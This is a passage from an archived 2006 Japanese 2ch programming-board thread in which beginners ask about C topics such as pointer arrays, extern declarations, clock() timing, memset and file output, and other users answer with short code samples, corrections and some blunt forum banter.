とかすれ。
char *str[]={"This","is","a","test",NULL};
はcharへのポインタの配列だから、この二つのstrは全然意味が違う。
ポインタや配列をもう一回勉強せい。
0524デフォルトの名無しさん
2006/07/31(月) 18:41:32あの〜そうやっても
warning: initialization makes integer from pointer without a cast
って出ちゃうんですけど。
まさか警告は無視しろと?
0525デフォルトの名無しさん
2006/07/31(月) 18:46:53> char str[][5]={"This","is","a","test",NULL};
これ ANSI-C で許されたっけ?
char str[][5]={"This","is","a","test", ""};
なら判るけど。
0526デフォルトの名無しさん
2006/07/31(月) 18:51:58もちろんNULLはないね。
0527デフォルトの名無しさん
2006/07/31(月) 18:53:58Thisとかをどこかにとってそこへのポインタの配列入れてるんでしょ?
そのぐらいは・・・
>>525
そうなんですか…
でも最後にNULLが来たらなんちゃらしろってプログラム書かなきゃいけないんですけど
""でもNULL返されます?
0528デフォルトの名無しさん
2006/07/31(月) 18:57:17char str[][5]は配列の配列だからNULLポインタは使えない。
char * str[]はポインタの配列だからNULLポインタも使える。
詳細は初心者スレでどうぞ。
0529デフォルトの名無しさん
2006/07/31(月) 18:57:52ポインタ判るなら自明だと思うが NULL は返らないぞ。
0530デフォルトの名無しさん
2006/07/31(月) 19:31:03どうも・・・でなおしてきます
(・ω・)
0531デフォルトの名無しさん
2006/07/31(月) 20:55:15大抵ポインタが分かってないの法則
0532デフォルトの名無しさん
2006/07/31(月) 23:11:42data[z][y][x] (x,y,z=0〜9)
で、zのサイズを11(z=0〜10)に変更したい場合、
新たにその大きさの配列を確保してデータをコピーすれば可能だと思いますが、
そうではなくて、もともとの配列だけを使って、動的に配列の大きさを変更する
ことって可能でしょうか?
つまりその、上の例で言うと、x*y=10*10の2次元配列がz方向に10階建てになって
いる感じだと思いますが、そこで例えばz=4と5の間に、新しく1階を挿入して
z=11階建てにできますか?
0533デフォルトの名無しさん
2006/07/31(月) 23:18:190534デフォルトの名無しさん
2006/07/31(月) 23:19:24LISTとか使わないと
0535デフォルトの名無しさん
2006/07/31(月) 23:37:18>533
realloc すると、途中に挿入することができないように思うのですが、どうでしょうか。
つまり、reallocで10階の上に1階を追加できますが、4階と5階の間に挿入できないのでは
と思います。
>534
LISTっていわゆるリスト構造ってやつですか?
それも考えたのですが、でもそれだと、配列を
data[z][y][x]
のように表現できないですよね。
そのかわり、リストがポインタで連結されているややこしい構造になるのがちょっと
抵抗あります。
何かいい方法ないでしょうか?
0536デフォルトの名無しさん
2006/08/01(火) 00:00:27C++にしてベクター使え
0537デフォルトの名無しさん
2006/08/01(火) 03:52:28かなり抑えられる。けど、(*data[z])[y][z] てな書き方になるので
激しくバグの元。すなおに get(x,y,z) と set(x,y,z,val) つくったほうがいいね。
むしろ x,y,z それぞれ伸縮する場合のデータ構造でいいのあるのか知りたい。
0538デフォルトの名無しさん
2006/08/01(火) 08:02:35>>でいいのあるのか
日本語でどうぞ。
0539デフォルトの名無しさん
2006/08/01(火) 08:33:22cdコマンドを使いたいのですが、exec や system でも出来ないですしどうしたらいいものかと。
検索してみても上手いこと素敵なのが発見出来なかったので、もしどなたか良い場所をご存知でしたら教えていただければ幸いです。
0540デフォルトの名無しさん
2006/08/01(火) 08:34:26ごめんなさい
0541デフォルトの名無しさん
2006/08/01(火) 10:05:440542デフォルトの名無しさん
2006/08/01(火) 10:13:19とりあえずchdir関数じゃだめなの?
0543デフォルトの名無しさん
2006/08/01(火) 12:15:40このスレ的にはそんな関数ない。
>>539
スレ違い。環境依存容認スレか該当環境専門のスレか初心者スレにでもどうぞ。
0544539
2006/08/01(火) 15:43:34ファイル出力する訳ではなくて、FTPを実現するプログラムを作ってたので送受信する際の
カレントディレクトリを動かしたいと思っていました。
>>543
あいさ、すみませんでした。
そっちで聞いてみます。ありがとうございます。
0545デフォルトの名無しさん
2006/08/01(火) 15:54:220546デフォルトの名無しさん
2006/08/01(火) 16:13:45不思議なら黙っとけカス
0547デフォルトの名無しさん
2006/08/02(水) 20:58:24改行コード追加してやらんと駄目だよね?
ibmjtoeucとか使ってたんだけどソラリス9用にiconv使わんといかんのかなー。
0548デフォルトの名無しさん
2006/08/02(水) 21:15:470549デフォルトの名無しさん
2006/08/03(木) 00:57:58main() {
int x,y,z;
printf("数値を2つ入力して下さい : ");
scanf("%d %d",&x,&y);
for(;;) {
if(x%y==0) break;
else { z=x; x=y; y=z%y; }
}
printf("最大公約数 : %d",y);
}
c言語はやり始めて間もない状態です。
最大公約数を求めるプログラムは上記のようになるらしいのですが、for文の(,,)内に条件や初期設定等を示さないのはなぜなのでしょうか?
また、7行目の"break"の意味は「繰り返し作業を終える」と捉えてよろしいのでしょうか?
ご教授の程、宜しくお願い致します。
0550デフォルトの名無しさん
2006/08/03(木) 01:00:29(当然、無能が書いた本も)
0551デフォルトの名無しさん
2006/08/03(木) 01:09:49(現在動作確認できる環境下に無いもので、くだらない質問で申し訳ないです。)
0552連投すいません
2006/08/03(木) 01:14:200553デフォルトの名無しさん
2006/08/03(木) 01:25:58for (scanf("%d %d",&x,&y); x%y != 0; z=x,x=y,y=z%y);
だが多くの人はこうかく。
scanf("%d %d",&x,&y)
while (x%y!=0) { z=x; x=y; y=z%y; }
理由はそれが見やすいと思うから。うまいひとはどう書けばきれいか常に気を使ってるお。
0554デフォルトの名無しさん
2006/08/03(木) 01:27:30関数が受け取ったアドレスが、変数のアドレスなのか、配列のものなのか区別はしないものなのでしょうか
0555デフォルトの名無しさん
2006/08/03(木) 01:37:09>>553 せみころんがぬけたorz
0556549
2006/08/03(木) 01:40:52有難う御座いました。
0557デフォルトの名無しさん
2006/08/03(木) 01:51:47ちょっとテストしてみたのですが
#include <stdio.h>
void add (int *p) {
*p += 10;
*(p+1) += 10;
}
int main (void) {
int a = 10, b = 20;
printf ("変数aの値は%d:アドレスは%p¥n", a, &a);
printf ("変数bの値は%d:アドレスは%p¥n", b, &b);
add (&a);
printf ("変数aの値は%d:変数bの値は%d¥n", a, b);
return 0;
}
変数 aと bのアドレスがとなりあってる場合、関数によって配列でもないのに変数 bの値が書き換えられてしまいます
仮に、配列を扱う関数で、配列の後ろに関係ない変数があった場合、
意図せず変数まで書き換えてられてしまう可能性もあると思うのですが、
そういうのは自分で注意するべきなのでしょうか?
0558デフォルトの名無しさん
2006/08/03(木) 01:59:560559デフォルトの名無しさん
2006/08/03(木) 02:10:230560デフォルトの名無しさん
2006/08/03(木) 02:10:30そいつはCの弱点なだ。
0561デフォルトの名無しさん
2006/08/03(木) 02:17:24文字列のようにNULL文字で制御できる場合以外は、気をつけたほうがよいですね。
どうもありがとうございました。
0562デフォルトの名無しさん
2006/08/03(木) 02:21:40自分で注意しなくてはならない。
0563デフォルトの名無しさん
2006/08/03(木) 03:11:06http://pc8.2ch.net/test/read.cgi/tech/1152095097/419
> [5] その他の制限:「return」は使えません。for文とif文を中心によろしくお願いします。
↑へのレス
http://pc8.2ch.net/test/read.cgi/tech/1152095097/421
>>550
お前がバカ
0564デフォルトの名無しさん
2006/08/03(木) 03:42:020565デフォルトの名無しさん
2006/08/03(木) 03:42:300566デフォルトの名無しさん
2006/08/03(木) 04:20:220567デフォルトの名無しさん
2006/08/03(木) 04:37:190568デフォルトの名無しさん
2006/08/03(木) 04:47:100569デフォルトの名無しさん
2006/08/03(木) 13:57:080570デフォルトの名無しさん
2006/08/03(木) 14:16:190571デフォルトの名無しさん
2006/08/03(木) 19:24:52演習5-5のstrncatなんですが
void strncat(char *str1, char *str2, int n)
{
int i;
while(*str1)
str1++;
for(i = 0; i < n; i++)
*str1++ = *str2++;
*str1 = '\0';
}
とやるとうまくいくんですが、whileの部分を
while(*str1++);
にすると文字列が連結されません。
なにがいけないんでしょうか?
0572デフォルトの名無しさん
2006/08/03(木) 19:27:37変数の値を増やすか、ぜんぜんちゃうやろ?ありがちなミスだな。
0573デフォルトの名無しさん
2006/08/03(木) 19:46:53もっぺんよくみろ
0574デフォルトの名無しさん
2006/08/03(木) 19:49:470575571
2006/08/03(木) 20:01:21str1が\0の次まで進んでしまっているということですね。
whileのあとで str1--; としてみたらうまくいきました。
ありがとうございます。
0576デフォルトの名無しさん
2006/08/03(木) 20:21:090577デフォルトの名無しさん
2006/08/03(木) 22:53:26int main(void)
{
int a = funcA();
return 0;
}
void funcA(void)
{
int index = 1;
return index++;
}
上のようなコードがあった場合、main の a に入る値は funcA の戻り値です。
この戻り値には、何が入るのでしょうか。
return に、indexの値が入れば、戻り値は1
return に、index++の値が入れば、戻り値は2
どちらが正しいのでしょう。
直感的に、(index++)の結果をreturnする、と解釈し、2だと思いましたが、
実際にVisual C++でテストしたところ、結果は1でした。
もし、return index のあとに index++ となるとしても、return というのは、
関数のコンテキストを離れてしまうわけで、そうすると既にfuncAのスタックとかは
残ってないわけで、何に対して++をするのかわかりません。
もしかして、この++は無効だとしてコンパイラが自動的にはじいているのでしょうか?
混乱してます。
0578デフォルトの名無しさん
2006/08/03(木) 23:01:58まず、returnで返すのは「値」だ。
この場合、なんの値を返すかと言うと、
「index++」の演算結果
であって、「index++」そのものを返す訳ではない。
0579デフォルトの名無しさん
2006/08/03(木) 23:06:130580デフォルトの名無しさん
2006/08/03(木) 23:12:13#include <stdio.h>
int main(void);
int funcA(void);
void funcB(void);
int main(void) {
int a = funA();
printf("a->%d\n",a);
funcB();
return 0;
}
int funcA(void) {
int index = 1;
return ++index; //式を評価する前に増加
//return index++; /式を評価してから増加
}
void funcB(void) {
int index1 = 0;
int index2 = 0;
printf("index++ ->%d\n",index1++);
printf("++index ->%d\n",++index2);
}
0581デフォルトの名無しさん
2006/08/03(木) 23:13:190582デフォルトの名無しさん
2006/08/03(木) 23:23:33はじくかもしれない。
1.戻り値に使用されると決められているレジスタに index の値を入れる。
2.スタック上の index の位置に index+1 をいれる。。
3.return - スタックはもはや無効。2の処理に意味がないと気づいたコンパイラははじくかも。
0583デフォルトの名無しさん
2006/08/03(木) 23:29:52変になるバグってなかったっけ?
今のだと大丈夫だろうけど。
0584デフォルトの名無しさん
2006/08/03(木) 23:52:59申し訳ないのですが、外部変数やexternについて教えてください
例えばmain.cとfunc.cという2つのソースファイルとmydef.hというヘッダファイルが
あるプログラムで、その中で使っているグローバル変数AAAを、mydef.hの中で
以下のように、二重に宣言しないようにする事があるかと思います。
#ifndef MYDEF
#define MYDEF
int iAAA;
#else
extern int iAAA;
#endif
このようなヘッダファイルを、main.c、func.c両方でincludeしている場合に
・iAAAの実体(extern宣言されない方)はどのソースにあるものとされるのでしょうか
・cc -o exe.exe main.c func.c といった一括コンパイルではなく、Makefileを
使ったりして分割コンパイル→リンクしている場合、それぞれのコンパイルの時は
プリプロセッサは独立して動作しているので、それぞれのソースで
毎回「#ifndef MYDEF」が有効になると思うのですが、その場合にmain.cとfunc.cで
iAAAは二重に宣言されないのでしょうか
用語等、適切ではない部分はご容赦下さい…
0585デフォルトの名無しさん
2006/08/03(木) 23:54:060586デフォルトの名無しさん
2006/08/03(木) 23:55:560587デフォルトの名無しさん
2006/08/03(木) 23:59:05あー、なにか重大な誤解をしていると思うんだが。
複数のソースを同時に指定してもプリプロセッサもコンパイラも別々に動くよ。
だから
> cc -o exe.exe main.c func.c
でもmain.c、func.c両方でiAAAが定義されている。
でもって普通はヘッダーにexternだけ書いてソースに定義を書く。
0588・∀・)っ-○◎●新世紀ダンゴリオン ◆DanGorION6
2006/08/04(金) 00:05:10ヘッダはextern宣言だけにして実体はcファイルの中でやるほうが綺麗。
もちろん、実体を定義してるファイルにextern宣言のヘッダをインクルードしても問題ない。
0589デフォルトの名無しさん
2006/08/04(金) 00:13:50#include 行しかないの見たことがある。
書いたのは素人じゃないと思うんだけど、どういう意図があるんだろね。
# boostではないですよ。
0590デフォルトの名無しさん
2006/08/04(金) 00:16:01このスレにそれを書き込む、お前の意図が知りたい
0591・∀・)っ-○◎●新世紀ダンゴリオン ◆DanGorION6
2006/08/04(金) 00:17:490592デフォルトの名無しさん
2006/08/04(金) 00:21:33普通はヘッダに定義を記述しない。つまり
int AAA;
はどこかの.cに書く。あるソースコードのコンパイルで
extern int AAA;
と
int AAA;
が同一のコンパイル単位に登場しても問題ない。
0593デフォルトの名無しさん
2006/08/04(金) 00:24:17ファイル(i.txt)に
0
1
2
と10まで出力させたいんですが以下のプログラムだとうまくいきません
なぜなんでしょうか?お願いします
#include<stdio.h>
#include <stdlib.h>
main(){
int i;
FILE *fp1;
if((fp1 = fopen("i.txt","w"))==NULL){
printf("ファイルが開けません\n");
exit(1);
}
for(i=0;i>10;i++){
fprintf(fp1,"%d\n",i);
}
fclose(fp1);
return 0;
}
0594584
2006/08/04(金) 00:29:57> 複数のソースを同時に指定してもプリプロセッサもコンパイラも別々に動くよ。
そうなのですか・・・
ソースを同時に指定すれば、定義されたMYDEFがコンパイル中はずーっと
有効なんだろうなあと勝手に想像していました・・・
> でもって普通はヘッダーにexternだけ書いてソースに定義を書く。
>>588
> ヘッダはextern宣言だけにして実体はcファイルの中でやるほうが綺麗。
> >584
> 普通はヘッダに定義を記述しない。つまり
皆様ありがとうございます。勉強になります。
私が挙げたような、#ifdefで実体と外部変数の宣言の処理を分けるというのは
ちょっと変な事をやってしまっていたようですね・・・
0595デフォルトの名無しさん
2006/08/04(金) 00:32:04for(i=0;i>10;i++){
何コレ?ふざけてるの?
0596デフォルトの名無しさん
2006/08/04(金) 00:34:58自分の馬鹿さにびっくりしました
0597デフォルトの名無しさん
2006/08/04(金) 01:15:380598・∀・)っ-○◎●新世紀ダンゴリオン ◆DanGorION6
2006/08/04(金) 01:25:350599デフォルトの名無しさん
2006/08/04(金) 02:28:24漏れもそれには同意なのですが、でもコマンドラインパラメータとして与えられた
オプションのフラグを関数の奥のほうまで運んでやる必要がある時とか、
ついついグローバル変数に入れてしまうな
そんな時、グローバル変数でないとするなら、オプションを格納した構造体を
ずーっと持ち回る、くらいの作り方しか分からんのだが、それもどうなのだろうな
0600・∀・)っ-○◎●新世紀ダンゴリオン ◆DanGorION6
2006/08/04(金) 02:36:11パブリックな関数を呼び出すインターフェイスにするかな。
どこからでも「書き込める」のがよくない。
0601デフォルトの名無しさん
2006/08/04(金) 02:56:540602デフォルトの名無しさん
2006/08/04(金) 21:43:32に使う
0603デフォルトの名無しさん
2006/08/04(金) 23:32:170604デフォルトの名無しさん
2006/08/04(金) 23:34:46綴りが違う。
0605デフォルトの名無しさん
2006/08/04(金) 23:44:070606デフォルトの名無しさん
2006/08/05(土) 06:02:38char Siki[256]="(3+2)*4/5"
と入れてあるときにKeisan(Siki)で4を出力するような関数Keisanって作れませんか
0607デフォルトの名無しさん
2006/08/05(土) 06:09:550608デフォルトの名無しさん
2006/08/05(土) 06:24:35bison flex でググってみれ。
0609デフォルトの名無しさん
2006/08/05(土) 08:48:47手書きなら再帰下降解析で10分で作れる。
0610609
2006/08/05(土) 09:10:411レスで収めるように改行とかを潰す時間のほうがかかったorz
#include<ctype.h>
#include<stdlib.h>
int addsub(char**);
int atom(char**p){
int v;if(isdigit(**p))v = strtol(*p,p,0);else if(**p=='(')++*p,v = addsub(p),++*p;
else{while(**p)++p;return 0;}while(isspace(**p))++*p;
return v;
}
int pre(char**p){while(isspace(**p)|**p=='+')++*p;
if(**p=='-'){++*p;return-pre(p);}return atom(p);}
int muldiv(char**p){
int v = pre(p);
for(;;)if(**p == '*')++*p,v *= pre(p);else if(**p == '/')++*p,v /= pre(p);
else return v;
}
int addsub(char**p){
int v = muldiv(p);
for(;;)if(**p == '+')++*p,v += muldiv(p);else if(**p == '-')++*p,v -= muldiv(p);
else return v;
}
int Keisan(char*p){return addsub(&p);}
int main(){
char Siki[256]="(3+2)*4/5";printf("%d\n",Keisan(Siki));
}
0611デフォルトの名無しさん
2006/08/05(土) 13:06:01>私が挙げたような、#ifdefで実体と外部変数の宣言の処理を分けるというのは
>ちょっと変な事をやってしまっていたようですね・・・
--mydef.h---
#if defined(MYDEF)
int i;
#else
extern int i;
#endif
としておいて、通常使うときはそのまま #include、実体定義用のファイルでは
--mydef.c---
#define MYDEF
#include "mydef.h"
というのならありじゃないかな。mydef.h 1ヶ所だけで管理が可能だし。
0612デフォルトの名無しさん
2006/08/05(土) 13:17:45一箇所にまとめたcファイル作れ。
0613デフォルトの名無しさん
2006/08/05(土) 13:57:17#ifndef MYDEF
#define extern
#endif
extern i;
っていうやり方を見たことある。
なにか理由があった気がするが忘れた。
0614デフォルトの名無しさん
2006/08/05(土) 13:58:260615デフォルトの名無しさん
2006/08/05(土) 13:59:220616デフォルトの名無しさん
2006/08/05(土) 20:56:582次元配列 data[y][x] があったとして、
この配列を初期化する場合に、
memset( data, 0, y*x);
とやっても問題ないでしょうか?
自分でコード書いた限りでは上手く動いているようなのですが、
実際のところはどうなのでしょう?
0617デフォルトの名無しさん
2006/08/05(土) 21:03:15自分の意見を言わないような >>615 みたいなのは放置な。うざい
0618デフォルトの名無しさん
2006/08/05(土) 21:07:02配列の型がchar なら問題ない。
0619デフォルトの名無しさん
2006/08/05(土) 21:08:54memset(data, 0, y*x*sizeof(char))
みたいに型サイズも入れた方がいいんじゃないかな
0620デフォルトの名無しさん
2006/08/05(土) 21:16:35お前がまず放置しろよ
0621デフォルトの名無しさん
2006/08/05(土) 21:18:34それを書くなら、問題のある型を書きましょう。
0622デフォルトの名無しさん
2006/08/05(土) 21:21:30charならsizeofは不要。
sizeof (char)は常に1と決まっているから。
0623616
2006/08/05(土) 21:26:10配列は unsigned char なものを使ってます。
データ型を指定する癖をつけていこうと思います。
0624デフォルトの名無しさん
2006/08/05(土) 21:28:34関数ポインタや配列とポインタについては調べたのですが、よくわかりません。
どなたかご教示ください。
0625デフォルトの名無しさん
2006/08/05(土) 21:32:45stdafx.hでもやってることだし
0626デフォルトの名無しさん
2006/08/05(土) 21:37:38僕の天才的関数で一発だb
void** a(void b[2][2])return b;
0627デフォルトの名無しさん
2006/08/05(土) 21:37:58そもそもそれバグありなんだが、それ以外にも問題ありすぎだろ。
0628デフォルトの名無しさん
2006/08/05(土) 22:11:28ありがとうございます!早速組み込んでみたいと思います。
0629デフォルトの名無しさん
2006/08/05(土) 22:14:52こらこら釣られるな。
0630デフォルトの名無しさん
2006/08/05(土) 22:17:45ですよね・・・・void**てなんだろ と思いましたし(void b[2][2])って意味わからないし・・。
どなたか本当の答えを教えてください。
0631デフォルトの名無しさん
2006/08/05(土) 22:20:43Cでは配列を返せない。
で、void型変数というのは型を特定しないこと。
0632デフォルトの名無しさん
2006/08/05(土) 22:22:54・呼ばれる関数の中でも二次元配列となる変数を宣言する
・呼ばれる関数でメモリを確保したり0で初期化したりする
・呼ばれる関数での戻り値は、配列の先頭アドレス
・呼ぶ側は、宣言した二次元配列のアドレスを、関数からの戻り値にあるアドレスに書き換える
int main(int argc, char **argv){
0633606
2006/08/05(土) 22:29:26ありがとうございます
今の自分のレベルでは無理っぽいみたいで、内容も把握しきれませんでした
607の指摘の通り、初心者の身には難しいようで、もう少し精進して自力で組めるようになりたいと思います
0634デフォルトの名無しさん
2006/08/05(土) 22:45:35そうでしたか。Cでは配列は返せないのですね。voidについてもわかりました。ありがとうございます。
>>632
なるほど。配列は返せないので作った配列のアドレスを返すのですね。がんばってみます。
みなさんありがとうございました。
0635デフォルトの名無しさん
2006/08/05(土) 22:54:02sizeof(char)は1だから、必然的にsizeof(unsigned char)も1。
従ってsizeof(char)やsizeof(unsigned char)は書く必然性がない。
#そもそも内部でcharを書き込む処理をするのだから当然と言えば当然なのだが。
0636デフォルトの名無しさん
2006/08/06(日) 01:16:13『インクルードファイル’stdio.h’をオープンできない』
というエラーが出ました。
他のパソコンだと普通にコンパイルできるのですが・・・。
原因がまったくわかりません。
どなたか教えてください。
0637デフォルトの名無しさん
2006/08/06(日) 01:19:57stdio.hがあるフォルダへパスが通ってない
0638デフォルトの名無しさん
2006/08/06(日) 01:20:58コンパイルしたパソコンにちゃんとコンパイラ、開発環境が入ってっかぁ〜?
0639デフォルトの名無しさん
2006/08/06(日) 01:25:03初心者スレ、或いは該当環境のスレへどうぞ。
0640デフォルトの名無しさん
2006/08/06(日) 01:37:29だめだろ、ふつうに。なんのために
extern int foo;
int foo;
で定義、宣言が両方あっても問題ないようになってると思ってんだ?
0641デフォルトの名無しさん
2006/08/06(日) 01:38:19あるあ…ねーよwww
0642・∀・)っ-○◎●新世紀ダンゴリオン ◆DanGorION6
2006/08/06(日) 01:43:550643デフォルトの名無しさん
2006/08/06(日) 01:54:31#include <time.h>
int main (void) {
int ans;
clock_t start, end;
start = clock ();
puts ("55 かける 55 はいくつでしょう?");
scanf ("%d", &ans);
if (ans == 55*55)
puts ("正解です");
else
puts ("間違ってます");
end = clock ();
printf ("%.1f秒かかりました¥n", (double)(end - start)/CLOCKS_PER_SEC);
return 0;
}
上のようなプログラムで、計算にかかった時間を表示させようとしたのですが、
どんなに時間をかけても、「0.0秒かかりました」としか表示されません。
ためしに printf ("%d, %d", start, end); で表示させても
start, end ともに「0」でした。
どこか問題があるのでしょうか?
0644デフォルトの名無しさん
2006/08/06(日) 01:59:06その程度の演算、今のコンピュータなら1msと掛からずに処理できる。
0645デフォルトの名無しさん
2006/08/06(日) 02:02:04いや、俺は出るけど?
>>644
お前は一体何を言ってるんだ?
0646デフォルトの名無しさん
2006/08/06(日) 02:03:24コンピュータの性能も糞もねぇだろw
0647デフォルトの名無しさん
2006/08/06(日) 02:04:17吊ってくる
0648デフォルトの名無しさん
2006/08/06(日) 02:10:36出ますか...
自分 mac なんですけど、環境による影響ってないですよね...なんでだろう
0649デフォルトの名無しさん
2006/08/06(日) 02:14:420650デフォルトの名無しさん
2006/08/06(日) 02:19:48何度やっても「0」なんです
0651649
2006/08/06(日) 02:22:01コンパイラの問題なんじゃね?
0652デフォルトの名無しさん
2006/08/06(日) 02:26:06scanf()の前と後ろに
printf("%f\n", (double)clock());
入れたらどうなる?
0653デフォルトの名無しさん
2006/08/06(日) 02:29:21スイマセン本当は意味解ってなかったです。
コンパイラですか...おそらく GCC 4 なんですが、これがダメなんでしょうか?
0654デフォルトの名無しさん
2006/08/06(日) 02:35:02やってみました。
とりあえず入力までに5秒くらい間をおいてみたのですが
scanf の前、後ろとも「0.000000」でした。
0655デフォルトの名無しさん
2006/08/06(日) 03:18:250656デフォルトの名無しさん
2006/08/06(日) 06:53:19頭に volatile int i; for (i = 100000000;i;i--); をいれてみた。
72といわれた。ちなみにCLOCKS_PRT_SECは100と小さい。
scanf()の入力待ちはselect()かなんかしててCPU食わない。なのでゼロが
かえってきてるってことではないかと。
0657デフォルトの名無しさん
2006/08/06(日) 06:54:55+CLOCK_PER_SEC
まっくのキーボードに慣れてないせいにしとく。。
0658デフォルトの名無しさん
2006/08/06(日) 07:03:50...
clock() はプログラムの使用したプロセッサ時間の近似値を返す。
つまり>>644が正解。
0659デフォルトの名無しさん
2006/08/06(日) 07:08:200660611
2006/08/06(日) 10:23:34---mydef.h---
extern int i;
---mydef.c---
#include "mydef.h"
int i;
として他のソースでも #include "mydef.h" しろ、という意味?自分で書くならこう書くけど。
で、>611 みたいに書いた場合のデメリットって、キモイ以外に何かある?
0661デフォルトの名無しさん
2006/08/06(日) 10:30:34書き込んだ後で気づいた。型が違ってる場合にエラーが出るか否かが違うな。
じゃ、これでどうだ。…キモ度があがったような気がするが。
---mydef.h---
#if defined(MYDEF)
#define EXTERN
#else
#define EXTERN extern
#endif
EXTERN char c;
EXTERN int i;
#undef EXTERN
---mydef.c---
#define MYDEF
#include "mydef.h"
0662デフォルトの名無しさん
2006/08/06(日) 12:01:03初期化子が置けない。
0663デフォルトの名無しさん
2006/08/06(日) 12:20:36回想してみた。はっきり覚えてないんだけどAIXのCでANSI準拠だったと思う。
定義専用のCファイル作ればいいんだけど、ちゃんと両方に書かないといけないから同期が面倒だったんだわ。
0664デフォルトの名無しさん
2006/08/06(日) 12:25:25同期が面倒になるほどグローバル変数を使うのか、お前は。
0665デフォルトの名無しさん
2006/08/06(日) 13:07:210666663
2006/08/06(日) 13:21:43ttp://www.pro.or.jp/~fuji/mybooks/cdiag/cdiag.2.4.html
こんないい方法があるんだよってな感じで紹介されてるw
筆者に代わって弁明しとくけど、少なくとも当時はかなりの良書だった。
0667デフォルトの名無しさん
2006/08/06(日) 13:36:46func.cで作った関数をmain関数のあるmain.cで呼び出すにはどうしたら良いんだ?
ソースを2ファイル以上に分けて記述する方法がわからん・・・
0668デフォルトの名無しさん
2006/08/06(日) 13:49:270670デフォルトの名無しさん
2006/08/06(日) 18:15:48なおさらだめなコードだと思う。俺の部下が書いてきたら速攻でつき返す。
というかインクルードファイルには通常多重インクルード防止の
ガードマクロを用意するのが普通だが、その辺の配慮とかは?
要はそのインクルードファイルを使うやつがいろんなことを配慮しなきゃ
いけないようなのはよくない、というのが最近の流れだな。
0671デフォルトの名無しさん
2006/08/06(日) 18:19:24グローバル変数で同じように2カ所に書いたところで今更なんだって話だな。
0672デフォルトの名無しさん
2006/08/06(日) 19:11:11中途半端に紹介するのはよくないな
0673デフォルトの名無しさん
2006/08/08(火) 05:03:56またまた質問ですみません。
・呼ぶ側は、宣言した二次元配列のアドレスを、関数からの戻り値にあるアドレスに書き換える
とありますが、戻り値にあるアドレスに書き換えるとはどうすればよいのでしょうか。
0674デフォルトの名無しさん
2006/08/08(火) 08:01:14int (*echo(int p[][2]))[2] { return p; }
int main(void) {
int dim[2][2] = { { 1, 2 }, { 3, 4 }, };
int (*p)[2] = echo(dim);
printf("%d¥n", p[1][1]);
return 0;
}
0675デフォルトの名無しさん
2006/08/08(火) 17:06:05ビットシフトはなんの役に立つのでしょうか?
0676デフォルトの名無しさん
2006/08/08(火) 17:36:21R5G5B5をアンパックするとき。
ソースに2ちゃんねるのレスを埋め込むとき。
暇をつぶすとき。
0677デフォルトの名無しさん
2006/08/08(火) 18:23:17そのコピー、まだ持ってたの?w
0678デフォルトの名無しさん
2006/08/08(火) 19:11:01解答ありがとうございます!
よくわからない部分もありますが、それはもっと勉強しようと思います。
ありがとうございました。
0679デフォルトの名無しさん
2006/08/09(水) 00:24:40ファイルへのヘキサ出力の方法を教えてください。
下記のようなコードを記述したのですが、例えば、「1024」という
数値を入力した場合、ファイル出力への期待する結果は、
「0x0400」なのですが、現在、「0x30343030」という形で
数字が狂ってしまうのです。(1→31という風に扱われています。)
何卒、ご教授ください。
[ソース]---------------
#include<stdio.h>
int main()
{
FILE *outputFile;
unsigned int a;
unsigned char Hex[256];
/* 出力ファイルオープン (バイナリ出力 上書きモード) */
outputFile = fopen( "aaa.txt", "wb+" );
/* 変換対象の数字 */
a = 1024;
/* ヘキサに変換し、文字列で受ける */
sprintf( Hex, "%02X", a );
/* ファイル出力 */
fprintf( outputFile, "%s", Hex );
fclose( outputFile );
return 0;
}
0680fputc(a >> 8, fp); fputc(a, fp);
2006/08/09(水) 00:30:24初心者スレへどうぞ。
0681デフォルトの名無しさん
2006/08/09(水) 00:53:45ありがとうございました。
名前のところにあったとおり
記述をしたところ動きました。
色々試行錯誤していたのですが
このやり方に気づきませんでした。
仰るとおり勉強不足でした。
もっと努力します。
本当にありがとうございました。
0682デフォルトの名無しさん
2006/08/09(水) 21:40:08出力したいのですが
どうしたらできますか。
例
hoge.txt
内容
abc def ghi foo
jkl nmo pqr
stu vwx y foo
結果
abc def ghi foo
stu vwx y foo
0683デフォルトの名無しさん
2006/08/09(水) 22:03:48宿題丸投げなら宿題スレへ行け。
丸投げするつもりが無ければ、どこで何に悩んでいるのか書きなさい。
0684デフォルトの名無しさん
2006/08/09(水) 22:15:260685デフォルトの名無しさん
2006/08/09(水) 22:49:39while(<FH>) {
if(/ *foo */) {
print;
}
}
0686デフォルトの名無しさん
2006/08/09(水) 22:49:43int pthread_create(pthread_t * thread, pthread_attr_t *
attr, void * (*start_routine)(void *), void * arg);
第3引数の宣言なんですが、関数へのポインタという
理解でよいでしょうか。
紛らわしいですが、解釈すると。
start_routine は voidへのポインタの引数を持ち
voidへのポインタを返す関数へのポインタ。
でよいでしょうか。
0687デフォルトの名無しさん
2006/08/09(水) 22:51:400688デフォルトの名無しさん
2006/08/09(水) 22:52:320689デフォルトの名無しさん
2006/08/09(水) 22:53:37ありがとうございます。
では、void * はどのような表現が適切でしょうか。
0690デフォルトの名無しさん
2006/08/09(水) 22:55:170691デフォルトの名無しさん
2006/08/09(水) 22:56:000692デフォルトの名無しさん
2006/08/09(水) 22:56:15なるほど。ありがとうございます。
0693デフォルトの名無しさん
2006/08/09(水) 23:24:02「なんかポインタ」が正しい。
0694デフォルトの名無しさん
2006/08/10(木) 00:13:45>>685でOKですか?
自分なりに検索しながら考えて、これでいけると思ったのですが、どうも上手くいきません^^);
#include <stdio.h>
#include <string.h>
int main(void)
{
FILE *fp;
char s[256];
char *sp
char str[] = "foo";
if ((fp = fopen("hoge.txt", "r")) == NULL) {
printf("file open error!!\n");
exit(1);
}
while (fgets(s, 256, fp) != NULL) {
sp = strstr(s, str);
if(sp != NULL){
printf("%s\n", s);
}
}
fclose(fp);
return 0;
}
0695デフォルトの名無しさん
2006/08/10(木) 00:31:10256(俗にマジックナンバーと言われる)は#defineしといたほうがいい
0696デフォルトの名無しさん
2006/08/10(木) 00:56:46>>695
こうしたら、上手くいきました、しかしなぜ256では駄目なんですか?
#include <stdio.h>
#include <string.h>
#define READ_DATA_SIZE 256
int main(void)
{
FILE *fp;
char s[READ_DATA_SIZE];
char *sp;
char str[] = "foo";
if ((fp = fopen("hoge.txt", "r")) == NULL) {
printf("file open error!!\n");
exit(1);
}
while (fgets(s, READ_DATA_SIZE, fp) != NULL) {
sp = strstr(s, str);
if(sp != NULL){
printf("%s\n", s);}
}
fclose(fp);
return 0;
}
0697デフォルトの名無しさん
2006/08/10(木) 11:18:50二箇所に出てくる256が、変えたくなったときに両方とも同時に変えなければならない性質なら
